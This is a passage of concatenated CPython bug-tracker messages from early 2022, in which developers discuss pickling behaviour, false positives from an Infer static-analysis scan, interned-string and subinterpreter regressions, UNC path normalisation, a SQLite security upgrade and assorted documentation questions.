This won?t work for __main__.py files in the root directory of a .zip file though. Hence, for consistency, minimal __main__.py like the venv one mentioned above are preferred.
"""
Problem is, that's the first mention of venv anywhere in the document. There's a 'See also:' box right BELOW the sentence in question that references venv and its minimal __main__.py, but it hasn't been introduced yet when that first mention comes along.

It's because Exception implements __reduce__ and that takes precedence over __getnewargs_ex__. You can see that with this example:
""""
import pickle
class MyException():
def __init__(self, desc, item):
super().__init__()
self.desc = desc
self.item = item
def __getnewargs_ex__(self):
print('called in {}.__getnewargs_ex__'.format(self.__class__.__name__))
return (self.desc,), self.__dict__
def __reduce__(self):
print('called in {}.__reduce__'.format(self.__class__.__name__))
return MyException, (self.desc, self.item),
e = MyException('testing', item='cpu')
s = pickle.dumps(e, protocol=-1)
x = pickle.loads(s)
""""
Output: called in MyException.__reduce__

Message-ID: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org>
New submission from Xinrong Lin <414039482 at qq.com>:
I am currently doing some research on the security of CPython. I used the open source vulnerability analysis engine, Infer(https://fbinfer.com/), to scan the native code of CPython 3.10.0.
The scan results show that there are still a number of vulnerabilities in the CPython native code, such as Null dereference, Uninitialized variable, Resource/Memory leak, etc. Moreover, I found that some of the vulnerabilities are related to Python/C API. I enclose the vulnerability report for your reference.
Based on the research of the result, I tried to design a tool to automatically detect and repair vulnerabilities in CPython and make this tool available. See:
https://github.com/PVMPATCH/PVMPatch
Python is my favourite programming language. I sincerely hope that I can help Python become stronger and safer. I hope this discovery can be useful for you to develop Python in the future.

Message-ID: <1641476441.03.0.459446737887.issue46225@roundup.psfhosted.org>
Mark Shannon <mark at hotpy.org> added the comment:
Are you using `f_lasti == -1` as a proxy for "is this an actual call or a resumption after a yield"?
Ultimately PEP 669 will provide all the information you could need to differentiate different events.
In the meantime...
We now make all "call" events explicit in the bytecode using the new RESUME instruction.
That means the following is true for *all* call events:
f_lasti >= 0
code.co_code[f_lasti*2] == opcode.opmap["RESUME"]
The oparg of the RESUME instruction describes the kind of "call" event.
Given `oparg = code.co_code[f_lasti*2+1]`, then
`oparg == 0` implies that the event is an actual call.
See https://docs.python.org/3.11/library/dis.html#opcode-RESUME
Does that help?

Message-ID: <1641477340.91.0.422061342737.issue46256@roundup.psfhosted.org>
Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:
This doesn't look like a bug to me and is documented behavior:
https://docs.python.org/3/reference/datamodel.html#object.__del__
Check this paragraph:
Warning Due to the precarious circumstances under which __del__() methods are invoked, exceptions that occur during their execution are ignored, and a warning is printed to sys.stderr instead. In particular:
__del__() can be invoked when arbitrary code is being executed, including from any arbitrary thread. If __del__() needs to take a lock or invoke any other blocking resource, it may deadlock as the resource may already be taken by the code that gets interrupted to execute __del__().
__del__() can be executed during interpreter shutdown. As a consequence, the global variables it needs to access (including other modules) may already have been deleted or set to None. Python guarantees that globals whose name begins with a single underscore are deleted from their module before other globals are deleted; if no other references to such globals exist, this may help in assuring that imported modules are still available at the time when the __del__() method is called.
----
Here, the object __del__ should take s strong reference to whatever is going to use to ensure is available when needed. Indeed, the standard library does this regularly, for example:
https://github.com/python/cpython/blob/f4c03484da59049eb62a9bf7777b963e2267d187/Lib/asyncio/windows_utils.py#L110
I am closing it as "not a bug" but feel free to reopen if we think we missed something or I misinterpret the bug report.

Should they? The corresponding line from https://docs.python.org/3/reference/expressions.html#comparisons is
comparison ::= or_expr (comp_operator or_expr)*
which seems to match:
comparison[expr_ty]:
| a=bitwise_or b=compare_op_bitwise_or_pair+ { ... snipped ... }
| bitwise_or
from the "Comparisons operators" section of the grammar. The next-higher-precedence operation after comparison operators is bitwise or, and the occurrences of "bitwise_or" look correct to me in this section.
We could retitle "Comparisons operators" to "Comparison operators", though.
> The section "Logical operators" should be retitled "Bitwise operators".
Agreed.

This it very clear and totally consistent with the observed behavior. I can think of a couple of workarounds for my app (move the db access from module initialization to a function that gets invoked "on demand", or redirect sys.stderr to /dev/null just before exiting).
Perhaps the Psycopg team can deal with it more directly.
Many thanks to all for the time and effort taken to make clear what's happening!

Thank you for posting this.
Some of these look like false positives.
For example:
#263
Parser/string_parser.c:670: error: Uninitialized Value
The value read from parenstack[_] was never initialized.
668. }
669. nested_depth--;
670. int opening = (unsigned char)parenstack[nested_depth];
^
671. if (!((opening == '(' && ch == ')') ||
672. (opening == '[' && ch == ']') ||
I don't see how this could be an uninitialized read, although I'm willing to be wrong.
If your tool can produce patches to fix reported problems, I suggest that you create PRs for specific issues, so they can be reviewed individually. There's no way we'd review a single patch for all 673 issues that were identified.
Also, looking at the first one:
#0
Objects/clinic/bytearrayobject.c.h:50: error: Dead Store
The value written to &noptargs (type long) is never used.
48. goto exit;
49. }
50. if (!--noptargs) {
^
51. goto skip_optional_pos;
52. }
We've discussed this before. The consensus last time was to leave code like this in place, in case other code was added after this that refers to the same pointer. Our assumption is that compilers will remove the unneeded store. Is it possible to remove Dead Stores from the output, and/or produce a separate output with just Dead Stores? I don't see how a Dead Store can be a vulnerability.

New submission from Steven D'Aprano <steve+python at pearwood.info>:
Do the print docs need to mention something so obvious?
Functions and methods which operate by side-effect typically don't mention that they return None, see for example the docs for various builtin methods:
https://docs.python.org/3/library/stdtypes.html#mutable-sequence-types
e.g. s.append, s.clear, s.extend, s.insert, s.remove, s.reverse
and likewise for list.sort, set.add, dict.clear and many others.
(However, dict.update is a rare exception, it does mention that it returns None.)
We should not feel it necessary to add an explicit comment to every function or method that operates by side-effect stating that they return None.

Subject: [issue46283] [subinterpreters] Unicode interned strings must not be
shared between interpreters
Message-ID: <1641482482.19.0.863029352248.issue46283@roundup.psfhosted.org>
New submission from STINNER Victor <vstinner at python.org>:
My commit ea251806b8dffff11b30d2182af1e589caf88acf made Unicode interned strings per interpreter to avoid accessing the same Python object from two different interpreters, to avoid race conditions on its reference count.
Problem: the change introduced the bpo-46006 regression in _PyUnicode_EqualToASCIIId() and type update_slot() functions which make the assumption that if two strings are interned and their pointers are not equal: these strings are not equal.
I proposed PR 30123 to fix these two functions, but then questions have been asked about the overall goal, running multiple Python interpreters in parallel in the same process (bpo-40512):
https://bugs.python.org/issue46006#msg408002
bpo-46006 was blocking the Python 3.11.0a4 release, Python 3.10 was affected and there were more and more affected projects:
* jep: https://github.com/ninia/jep/issues/358
* mod_wsgi: https://github.com/GrahamDumpleton/mod_wsgi/issues/729
* weechat-matrix: https://github.com/poljar/weechat-matrix/issues/293
* Fedora issue about mod_wsgi and weechat-matrix: https://bugzilla.redhat.com/show_bug.cgi?id=2030621
So I decided to just revert the change on interned strings:
* main branch: commit 35d6540c904ef07b8602ff014e520603f84b5886
* 3.10 branch: commit 72c260cf0c71eb01eb13100b751e9d5007d00b70 (with changes to keep the ABI backward compatibility)
These interned strings are preventing again to run multiple interpreters in parallel, two subinterpreters must not access the same Python object: see bpo-40533.
I suggest to write a PEP to explain the rationale, and reapply my commit ea251806b8dffff11b30d2182af1e589caf88acf with PR 30123.

_PyUnicode_EqualToASCIIId() and type update_slot() functions are fixed in 3.10 and main branches. The regression is now fixed.
But the revert reintroduces the issue on subinterpreters, so I created bpo-46283: "[subinterpreters] Unicode interned strings must not be shared between interpreters".

STINNER Victor <vstinner at python.org> added the comment:
My commit ea251806b8dffff11b30d2182af1e589caf88acf (interned strings) introduced bpo-46006 "[subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters" regression.
To unblock the Python 3.11.0a4 release, I just reverted the change. It reintroduces the issue, so I created bpo-46283: "[subinterpreters] Unicode interned strings must not be shared between interpreters".

Thank you @pablogsal. For me it was surprising as never seen before 3.10 instance.
If this is the expected behaviour (and the stdlib expects it) we can try and take the same type of care in psycopg.

Hi all,
Sorry. I seem to have stepped on someone's toes or no one likes turtle any more (as this is active since 2016). As you can see, I am new here and still getting a feel for these procedures. I was preparing a Jupyter notebook for my students. I planned some exercises with turtle at start before we jump into real robots. I noticed this annoying Terminator error, digged deeper into the code to find about the _RUNNING class variable. The PR from Furkan suggest to remove the Raise Terminator. May be we could amend that and I will close my PR, if you prefer.
Thanks,
----------

Irit Katriel <iritkatriel at gmail.com> added the comment:
This isn't really an issue with exceptions, it's just that __reduce__ goes out of sync with the object's constructor signature. Here's a simple example of the same:
class Base:
def __init__(self, msg):
self.msg = msg
def __reduce__(self):
return type(self), (self.msg,)
class Derived(Base):
def __init__(self, a, b):
super().__init__(f'{a}|{b}')
x = Derived('a', 'b')
assert x.msg == 'a|b'
y = pickle.dumps(x, -1)
z = pickle.loads(y)
-------------------------------------------
Output:
Traceback (most recent call last):
File "/Users/iritkatriel/src/cpython/zz.py", line 22, in <module>
z = pickle.loads(y)
^^^^^^^^^^^^^^^
TypeError: Derived.__init__() missing 1 required positional argument: 'b'
If I define __reduce__ on Derived to return an arg tuple of the right length for its __init__, it works:
class Derived(Base):
def __init__(self, a, b):
super().__init__(f'{a}|{b}')
def __reduce__(self):
return type(self), tuple(self.msg.split('|'))
But note that this is not something we could make the base class do, it has no way of finding out what the semantics of the derived class constructor args are.

As an aside, there's an issue with Roundup where a username composed of all digits causes it to think that name is a user ID in the nosy list. I recommend changing your username to include a non-digit character so that others can interact with you on your issues without constantly removing you from the nosy list.

New submission from Nicolas SURRIBAS <nicolas.surribas at gmail.com>:
Hello,
I bumped into this strange behavior several times when using os.scandir on mounted NFS shares. I'm using Python 3.9.1
>>> path = b'/mnt/nfs_share/sdb1/System Volume Information/'
>>> l = list(os.scandir(path))
>>> print(l[2].name)
b'WPSettings.dat'
>>> print(l[2].path)
b'/mnt/nfs_share/sdb1/System Volume Information/WPSettings.dat'
>>> print(l[2].is_file())
False
>>> print(l[2].is_dir())
True
>>> print(os.path.isfile(l[2].path))
True
>>> print(os.path.isdir(l[2].path))
False

I opened this ticket on behalf of a user who asked about print() specifically in #python on the Libera IRC network, who I assume does not find this obvious.
I don't think it would be tenable to add this note to every built-in, but that's not the intended scope of this issue. I do think it's worth mentioning for print(), though.

It's not guaranteed that the __cause__ and __context__ are picklable either.
Should we try to pickle them, or should we document this and suggest traceback.TracebackException for storing or transmitting exception information?

I think it does a better service to users to explain how Python returns None implicitly if a function doesn't have any other explicit return value. If the print() docs had this note, it would be confusing why other similar functions don't.
It's also worth explaining that when a function is designed to *explicitly* return None in certain cases (e.g. dict.get()) that it shouldn't do so implicitly, but should include an explicit `return None` for readability.

Yes, almost all of the buildbots are using in-tree builds. IIRC, buildbots for out-of-tree builds were added just recently.

> My understanding of the resolution of this ticket is that it is still not possible to use setrlimit with RLIMIT_STACK to raise the soft stack limit. Is that correct?
Yes, the code in msg324731 still fails. We're still using the mechanism described in msg324818, but with a larger stack size for some builds.
It is rather annoying that -Wl,-stack_size,NNNN sets a hard limit on the stack size, rather than overriding the soft limit.
I guess we could change the startup code for the interpreter executable (Py_Main or related code) to set the RLIMIT_STACK to a larger value when it is too small, that way applications can still pick a different (and in particular larger) value.
@ned.deily, @lukasz.langa: reopen this issue or open a new one?

AFAICS, the test_embed failure first appeared after GH-29041 (bpo-45582) was merged. After GH-29041, there has been numerous fixes for test_embed:

I certainly hope so! That would be a much more breaking change if we were to change that, and I can't personally see any benefit to doing so.

Make that "first appeared on FreeBSD".
Also, numerous was perhaps an exaggeration. Make that a few :)

Sure, there will always be some users who will find certain things not
obvious. Sometimes I'm that user myself.
What did this user think print() returned? What precisely was their
question? Perhaps if I saw the conversation in context, I would be more
sympathetic to this.
I can see a difference between (for example) the questions:
"I see that print('Hello world') returns None, but is it safe to assume
that print will *always* return None? It is not documented anywhere as
far as I can see."
and
"What does x = print('Hello world') do?"

Just to be clear, the test_embed failure is on AMD64 FreeBSD Non-Debug 3.x (https://buildbot.python.org/all/#/builders/172).
I agree that 99fcf15052 (bpo-45582: Port getpath[p].c to Python (GH-29041)) is likely to be the cause.

The original question was closer to the related issue of "indicate return types for all built-ins," conversation log follows (UTC-5):
```
09:33:50 ringo__ | is there a stdlib api docs which actually has *full* functions signature?
09:34:27 ringo__ | for example, https://docs.python.org/3/library/functions.html, function
| abs(x), it returns what, int? I need to read the whole sentence to figure
| out the return value of a function?
09:34:48 ringo__ | (or argument for that matter)
09:35:51 bjs | ringo__: well like it says it doesn't just support int
09:36:00 bjs | int, float, or any type that supports it
09:37:01 bjs | in general you can find actual type annotations for the functions in the
| typeshed
| https://github.com/python/typeshed/blob/master/stdlib/builtins.pyi
09:37:32 bjs | I wonder if it would be useful to include the typeshed annotation in the
| docs, or whether it would be more confusing
09:37:49 ringo__ | Thanks bjs ! I'll bookmark this typeshed
09:38:13 SnoopJ | abs() will do whatever __abs__() on the type does, which can be different
| for any given type. You'd expect T -> T but it's not guaranteed.
09:38:18 ringo__ | I used abs() as an example. In fact I was wondering what does print()
| return. I *guessed* it returns None, but the docs won't say
09:39:05 ringo__ | I could do a try-it-yourself approach but I was puzzled why the docs
| simply won't give you full fn signature, ie print(..) -> None
09:39:17 SnoopJ | that one is just an omission :)

Victor said on github that he would prefer `--help-xoptions` to `-X help`. It would align with `--help` and `--help-env`, but not with other `-X abc` options. I think that `--help-X` may be better, as it uses the same form (`X`) rather than the non-word `xoptions`.
What do people think?

Also, AMD64 FreeBSD Shared 3.x is configured --with-pydebug and --enable-shared. I'd be surprised if those were the root cause of this though. Both buildbots are in-tree builds.
FWIW, my FreeBSD 14.0-CURRENT main-n250453-7ac82c96fe7 VM also fails, as noted in previous posts. It's built with just ./configure && make.

Message-ID: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org>
New submission from Hugo Almeida <sudo.xiangqian at gmail.com>:
Hi,
Sorry for my poor English, this is not a spam issue.
How to reproduce
================
File about `http/server.py`, line 1235 at main branch.
1st, change `protocol_version`, e.g. from "HTTP/1.0" to "HTTP/1.1":
--- protocol="HTTP/1.0", port=8000, ...
+++ protocol="HTTP/1.1", port=8000, ...
2ed, run with `python -m http.server` and test by: `curl http://127.0.0.1:8000 2>/dev/null| head -n 1`
Result
======
The response head line will always been a fixed HTTP Version refer to `BaseHTTPRequestHandler.protocol_version` defined, thus "HTTP/1.0 200 OK" currently.
Expected
========
It should equal to `http.server.test(protocol="...")` which specified like above, for this issue, it is expected to be "HTTP/1.1 200 OK".
P.S.
====
I know it is just locate in a test code area (http.servers::test), but what I submit here is about a Python Variable Scope issue maybe.

It can be uninitialized if the parenstack[nested_depth] value is itself initialized, which can happen if the memory block pointed by parenstack has not been initialized to some value after malloc'ed and parenstack[nested_depth] never got a value.
But yeah, a lot of hypotheticals here that I am sure are not possible in the actual code.

update
======
It seems I've found the problem, http/server.py#L1277-L1288:
```
handler_class = partial(SimpleHTTPRequestHandler,
directory=args.directory)
```
Because of `partial` (provide by the functools module), there comes a closure like stuff ?

#244 is a false positive. The value of new_state[i] on line 454 was initialized on line 442 with: new_state[i] = (uint32_t)element.
#387 is also a false positive. There is an assertion on the previous line that the item != NULL. That assertion passes because item is the result of a call to deque_popleft() which only returns NULL when the size is zero; however, deque_del_item() is not ever called with size 0 and it has an assertion to that effect. The two callers are deque_remove() and deque_ass_item(). Both calls are guarded by regular tests (not assertions) so that they are only called when the index >= 0 and index < len(deque).

Subject: [issue46287] UNC path normalisation issues on Windows
Message-ID: <1641497800.1.0.236156717354.issue46287@roundup.psfhosted.org>
New submission from Steve Dower <steve.dower at python.org>:
Taken from https://github.com/python/cpython/pull/30362#issuecomment-1006840632
For Windows, should there be tests for invalid UNC paths such as "//", "//..", "//../..", "//../../..", "//server", "//server/..", and "//server/../.."? This will help to ensure that future changes never allow an invalid path to be normalized as a valid path.
Also, it's not a major problem that should prevent merging, but the way repeated slashes are handled prior to the second component of a UNC path is less than ideal:
>>> os.path.normpath('//spam///eggs')
'\\\\spam\\\\eggs'
>>> os.path.normpath('//spam///eggs/..')
'\\\\spam\\\\'
This case isn't a valid UNC share, since it's just "//spam", without a share component. However, the repeated slashes start the filepath part and should be reduced to a single backslash. That's what the GetFullPathNameW() call does in abspath():
>>> os.path.abspath('//spam///eggs')
'\\\\spam\\eggs'
>>> os.path.abspath('//spam///eggs/..')
'\\\\spam\\'

I don't want to belabor this, but hey, it's in f-strings! And if it's an actual problem I'd like to fix it.
> It can be uninitialized if the parenstack[nested_depth] value is itself initialized, which can happen if the memory block pointed by parenstack has not been initialized to some value after malloc'ed and parenstack[nested_depth] never got a value.
parenstack is allocated on the stack, not that that changes the discussion much.
It looks like everywhere that parenstack[nested_depth] is read, it's already been written to.
Anyway, (if I'm right,) this makes my points that a) there are false positives, and b) we should have separate issues for each actual problem.

#324 and #325 are false positives. The result variable is initialized in the preceding lines:
if (len_a == length) {
left = *((volatile const unsigned char**)&a);
result = 0;
}
if (len_a != length) {
left = b;
result = 1;
}
While the code is correct, the second test should be changed to "else".

Steve Dower <steve.dower at python.org> added the comment:
My replies to Eryk's comment copied above:
Yes, always more tests :)
The behaviour of normpath has always been weird and/or incorrect around invalid UNC paths.
For example, on 3.10, normpath("//spam///eggs/..") --> "\\\\spam". Originally, the path was a file path (albeit with an invalid empty share name), and the final path is just a machine name.
Currently on 3.11, normpath("//spam///eggs/..") --> "\\\\spam\\\\". This doesn't match GetFullPathNameW, but at least it leaves the end of the path as a file (with an empty share name).
I don't think it's necessarily obvious which is correct, though matching GetFullPathNameW is certainly the easiest rule for us to use. Matching previous Python versions is also reasonable, though given the input is invalid for its domain we don't really have any obligation to preserve the result.

Last I knew, CPython C code is a) regularly scanned by Valgrind and b) Valgrind is somehow informed as to false positives to not report. But I know none of the details. So I suggest you look into this and how to not report the same false positives.
I suggest working with the 'main' branch (future 3.11) as nearly all patches are applied there first and backported as appropriate.
Infer is a facebook github project, used by by other big corps and projects, so it may be worthwhile working with if false positives can be suppressed.

Sorry Eric, I failed to clarify my comment: you are absolutely right in your analysis. I was trying to backtrack what the tool is thinking and how that code could result in an initialized read based only on static analysis.
Your analysis is right and these are indeed false positives. Apologies for the confusion :)

SQLite 3.37.2 is fresh out now. Copying the release statement from the SQLite forum:
Patch release 3.37.2 fixes a potential database corruption bug.
Upgrading is recommended for all users.
The database corruption bug is obscure and you are unlikely to hit it.
But you should probably still upgrade. For more information about
the bug see:
* https://sqlite.org/forum/forumpost/ac381d64d8
Link to the release page: https://www.sqlite.org/releaselog/3_37_2.html
We should consider backporting to 3.10 and 3.9 due to the severity of the bug.

Quoting the SQLite forum post, regarding backporting:
There is a bug in versions 3.35.0 (2021-03-12) through 3.37.1 (2021-12-30)
which could potentially cause database corruption. Upgrading to version
3.37.2 (2022-01-06) or later is recommended.
The Python 3.10 Windows and macOS installers ship with SQLite 3.36.0, so they are vulnerable to this bug. Ditto for the Python 3.9 Windows and macOS installers which ship with SQLite 3.35.5.

The dead store notices for all the DISPATCH calls in ceval.c are false positives. The "oparg" value is used in many of the case statements.
The dead store notices the clinic generated code all relate to "!--noptargs" which is sometimes used in generated code and sometimes not. By always making the assignment, the clinic generator code is made less stateful (I would say "simpler" but that part of clinic.py is a mess).

#511 and #512 are false positives. The "kind" variable is indeed uninitialized in the bytes_writer case:

*bytes_str = _PyBytesWriter_Prepare(bytes_writer, *bytes_str, strlen);

Py_DECREF(scratch);

However, the flagged sections cannot be called in the bytes_writer case:
if (bytes_writer) { <=="kind" not used here
char *p = *bytes_str + strlen;
WRITE_DIGITS(p);
assert(p == *bytes_str);
}
else if (kind == PyUnicode_1BYTE_KIND) { <== bytes_write is false
Py_UCS1 *p;
WRITE_UNICODE_DIGITS(Py_UCS1);
}
else if (kind == PyUnicode_2BYTE_KIND) { <== bytes_write is false
Py_UCS2 *p;
WRITE_UNICODE_DIGITS(Py_UCS2);
}
else {

The CPython source code is irregularly scanned by different code analysis tools. The results shown extremely high quality of code in comparison with other open source and proprietary code. Most of reports are false positive. Last time real bugs (2 or 3) was discovered by tools several years ago, and one of these bugs was already known and did have a patch on review.
So while new tools can discover new bugs (unnoticed by previous scans or recently added), it is expected that most or all reports be false positive.

#584 and #585: The code is correct but there are dead stores only when the asserts are turned off:
2635. carry = v_lshift(w->ob_digit, w1->ob_digit, size_w, d);
2636. assert(carry == 0);
Elsewhere we use ifdefs around code like this to suppress warnings about unused variables. In this case though, it would be messy and cause code duplication.

#606 is similar to #584 and #585. The "dead store" is used only in an assertion:

assert(have_dict); <== Used in an assert
In the case, it would be reasonable to add an #ifdef.

#632 should be left as is. Technically, the second "field++" is a dead store. However, it is harmless and has some advantages. It keeps the the assignments parallel and it reduces the chance of introducing a new bug if a new field is added (i.e. like one of the reasons we use trailing commas on multiline dicts and lists).
PyStructSequence_SET_ITEM(int_info, field++,
PyLong_FromLong(PyLong_SHIFT));
PyStructSequence_SET_ITEM(int_info, field++,
PyLong_FromLong(sizeof(digit)));

In-Reply-To: <1641501019.87.0.828021775606.issue45925@roundup.psfhosted.org>
Message-ID: <afc96ce1-b028-111d-f601-84fad84b21ad@python.org>
Steve Dower <steve.dower at python.org> added the comment:
Are we enabling the build option they mention on the release page? Or is
this only going to affect users who use the pragma?
We should obviously do the upgrade, but that will determine how
aggressively we ought to be messaging the issue.

As I understand the forum post, you're vulnerable if you use that specific build option (we don't), _or_ if you use the pragma (anyone may do that). So AFAICS, we should upgrade.

Oh joy. Kodi media server is having unicode issues and this won't help. I'm trying to see how bad it is.
The main use for case transformations is for internal keyword lookup/monocasing. Settings, filenames on moncased filesystems, etc. are caseless. On the main things work okay until you hit a language, such as Turkish, that does not obey the usual rules. So, ToLower('I') does not map to 'i'. There are ways to work around this, but it depends upon the robustness of the unicode implementation.
I've spent the past several days looking into C++ behavior. It seemed to be similarly broken until I discovered that writing to both cout and wcout tends to break things, including unicode encoding.
It will take a few days to investigate further. Thanks for the info.

For me, the problem this causes is that CI build logs get extremely long, so long that my CI build tools won't show the log in the browser anymore and it makes it quite hard to figure out where problems are happening.
It looks like the problem is simply that there are lots of `echo` statements in the Makefile.pre.in that could be conditioned on `--quiet`. One small example (in the 'libinstall' target):
if test -x $$i; then \
echo $(INSTALL_SCRIPT) $$i $$b; \
$(INSTALL_SCRIPT) $$i $(DESTDIR)$$b; \
else \
echo $(INSTALL_DATA) $$i $$b; \
$(INSTALL_DATA) $$i $(DESTDIR)$$b; \
I don't quite understand how `--quiet` actually gets parsed and recognized by the Makefile, though.

Ken Williams <kenahoo at gmail.com> added the comment:
I poked around a bit more, and it looks like a fair number of the installation messages are coming from `Lib/distutils/command/build_scripts.py`, which is using `distutils.log` to show what it's doing:
log.debug("not copying %s (up-to-date)", script)
...
log.info("copying and adjusting %s -> %s", script,
self.build_dir)
...
log.info("changing mode of %s", file)
...
log.info("changing mode of %s from %o to %o",
file, oldmode, newmode)
What I don't see is a way to change the log level, but if that were possible then I assume that's how `--quiet` could be achieved here.

William Fisher <william.w.fisher at gmail.com> added the comment:
In the conversion to PY_CHECK_FUNC, there's a mistake in HAVE_EPOLL.
Python 3.10.1 defines HAVE_EPOLL by checking for the `epoll_create` function. Python 3.11.0a3 checks for the `epoll` function instead. There is no epoll() function so this always fails.
The effect is that `epoll` doesn't exist in the `select` module on Python 3.11.0a3. Most code that uses epoll falls back when it is not available, so this may not be failing any tests.

I don't against deep freezing functools and contextlib.
But I think we should optimize and utilize zipimport or something similar, because we can not deep-freeze all stdlib or 3rd party libraries.

Message-ID: <1641540436.39.0.283910400749.issue46288@roundup.psfhosted.org>
New submission from Karthik S <mskarthik28 at gmail.com>:
Greeting of the day to all..
I would like to address few queries as mentioned in the below.
python 2.7 code is running fine on RHEL 7.9,we are migrating to python3 from Python2 using 2to3 on RHEL 7.9.
After migrating, When we run our products in python 3.6,we are facing some modules are not imported error.
Example 1:
from IN import AF_INET6
ModuleNotFoundError: No module named 'IN'
In 2.7 IN modules coming from python-libs package,but in python3-libs doesnt find the IN module.
/usr/lib64/python2.7/plat-linux2/IN.py is avaialbe in python-libs-2.7.5-89.el7.x86_64 ,but it is not avilable in python3-libs.
[root at opt]# rpm -ql python-libs | grep -i IN.py
/usr/lib64/python2.7/plat-linux2/IN.py
/usr/lib64/python2.7/plat-linux2/IN.pyc
/usr/lib64/python2.7/plat-linux2/IN.pyo
[root@ opt]# rpm -ql python3-libs | grep -i IN.py
[root@ opt]#
Example2:
from yum import YumBase
ModuleNotFoundError: No module named 'yum'
In RHEL 7.9 python 2.7 /usr/lib/python2.7/site-packages/yum is avaialbe , but in RHEL 7.9 with python3 it is not available.python3 is require python3-dnf but this is avaialbe from RHEL 8,doesnt have in RHEL 7.9.
Kindly help, how to overcome this kind of issue, it would be more helpful for us to move forward.
We are using 2to3 migration tool for converting py2 to py3.

I'm not familiar with the implementation of PyInstaller, which is a third-party tool. The above invalid-parameter error may be indirectly related to the problem with frida, or it may be a separate issue.
The problem with frida is simply that "_frida.cp310-win_amd64.pyd" is an invalid or corrupted DLL that the system can't load. I don't know what went wrong with their build and distribution process that caused the problem. It's something to resolve on the frida issue tracker.

In principle, winreg should not have a problem in 3.x because it only uses the UTF-16 wide-character API.

Deep freezing is not a miracle cure for startup performance issues. Every additional frozen module increases the size of the main binary / shared library. This can have negative affects for performance and usability, too. For WASM builds we want to make the wasm binary as small as possible.

Can you elaborate a bit about "This can have negative affects for performance" as I think freezing modules has only one downside of increasing binary size ?
> For WASM builds we want to make the wasm binary as small as possible.
If WASM would become an officially supported platform then there can be a patch to disable freezing on such platforms otherwise I don't see how because of WASM we cannot deepfreeze for other platforms which benefit from it.

https://github.com/python/cpython/blob/994f90c0772612780361e1dc5fa5223dce22f70a/Objects/typeobject.c#L559
I think some unit tests are missing for properties, they would need to be added.

Subject: [issue46291] [doc] First argument to raise can also be BaseException
Message-ID: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org>
New submission from Gregor Titze <gregor.titze at gmail.com>:
The Python Tutorial describes the first argument to the raise statement as follows:
"""
This must be either an exception instance or an exception class (a class that derives from Exception).
"""
https://docs.python.org/3/tutorial/errors.html#raising-exceptions
However, the Python Language Reference states, that exceptions should be a subclass or instance of BaseException.
https://docs.python.org/3/reference/simple_stmts.html#grammar-token-python-grammar-raise_stmt
I think it would be correct, to adapt the Tutorial to match the Reference.

Message-ID: <1641564710.75.0.603666211799.issue46292@roundup.psfhosted.org>
New submission from James Casbon <casbon+gh at gmail.com>:
LogRecord makes microseconds available via the msecs attribute. This patch adds microseconds via usecs attribute.
Some regulators (eg MIFID II) require accuracy greater than 1ms in some industries.
This patch calls time_ns rather than time so that the usecs and msecs are calculated from int types and then gets the original ct attribute via division.

Porting questions don't belong on the bug tracker. And we don't support 2.7 any more, in any event.
You'll need to find python 3 versions of all of your packages. Unfortunately we can't help you with that.
There used to be a python-porting mailing list, but it's been deleted. Maybe someone on the the python-list mailing list could point you in the right direction.

> It would perhaps be useful if the os.path.expanduser call was added in the cache_from_source() function in importlib?
No: that would mean Python would be doing work that the shell should do. Possibly it would be duplicating the work. Possibly it would be doing it wrong. What if your shell uses ? rather than ~? What if the shell has a different idea of what the home directory is? Remember, you can use Python with any shell, not just Unix/POSIX command-line ones (which is what os.path.expanduser emulates).
Thanks for reporting the issue, though! The separation of concerns definitely isn't obvious at first.

I'm running into this issue right now. Can anyone provide a rationale as to why you think this is acceptable/expected behaviour? Do we expect developers to semi-rely on get_type_hints(), but than still having to manually resolve forward references in PEP585 generic aliases? That seems broken to me.
Thanks,
Niklas R.

@swirsz: Thanks for the report.
Most of these look like false positives: we're intentionally making use of C's unsigned arithmetic behaviour. Note that these are technically *not* overflows. As the C standard itself says, in C99 ?6.2.5, paragraph 9:
> A computation involving unsigned operands can never overflow,
> because a result that cannot be represented by the resulting
> unsigned integer type is reduced modulo the number that is one
> greater than the largest value that can be represented by the
> resulting type.
.. and we're deliberately depending on exactly that well-defined reduction behaviour.
Would you be able to do a first pass over the results and identify those that might be genuine issues, worthy of further investigation?

static PyObject *
nu_bool(_structmodulestate *state, const char *p, const formatdef *f)

_Bool x;
memcpy((char *)&x, p, sizeof x);
return PyBool_FromLong(x != 0);

The table could stand some clarification; `\newline` is the only example that is not showing exactly the characters that one would see when looking at source code and which doesn't have an explanatory note. There's also the additional wrinkle that `\CR`, `\LF`, and `\CRLF` are treated the same, which might be an important detail in the reference section.
I don't have a great suggestion to offer, though.

This change is part of the 3.10 branch. For 3.9, git bisect tells me that it's the following change:
commit 52d9d3b75441ae6038fadead89eac5eecdd34501
Author: ?ukasz Langa <lukasz at langa.pl>
Date: Tue Oct 5 22:30:25 2021 +0200
[3.9] bpo-44050: Extension modules can share state when they don't support sub-interpreters. (GH-27794) (GH-28741)
(cherry picked from commit b9bb74871b27d9226df2dd3fce9d42bda8b43c2b)
Co-authored-by: Hai Shi <shihai1992 at gmail.com>
The problem is that this change fixed another bug, well, see: bpo-44050. While a revert should fix win_py399_crash_reproducer.py, it will reintroduce bpo-44050 bug.

ASDL technically allows it to be None though neither compiler nor ast.unparse can work with it at this moment.
> FormattedValue(expr value, int? conversion, expr? format_spec)
https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Parser/Python.asdl#L78
>>> import ast
>>> tree = ast.parse("f'{x + 1}'")
>>> tree.body[0].value.values[0].conversion = None
>>> compile(tree, "<test>", "exec")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
SystemError: Unrecognized conversion character 0
We can either:
A) change ASDL to reflect it is an integer (since it always has been treated that way)
B) Support this on both the compiler as well as in the ast.unparse
I'd say A, since this was always broken. @pablogsal @lys.nikolaou WDYT?

bpo-44050 is an attempt to fix a regression introduced in bpo-38858, perhaps that regression should be reverted as well?

I think that this is intentional: tutorial gives some very basic ideas about what can be raised. Giving the whole context (you can `raise` two kinds of errors: `Exception` and `BaseException`, but they are different, should be used in different cases, and they are caught differently). Probably most users don't need to subclass `BaseException` at all.
And if they need to: there are docs for that https://docs.python.org/3/library/exceptions.html#BaseException
In my opinion - nothing should be changed there :)

Subject: [issue46296] Unreachable condition: `if enum_class._member_type_ is
object`
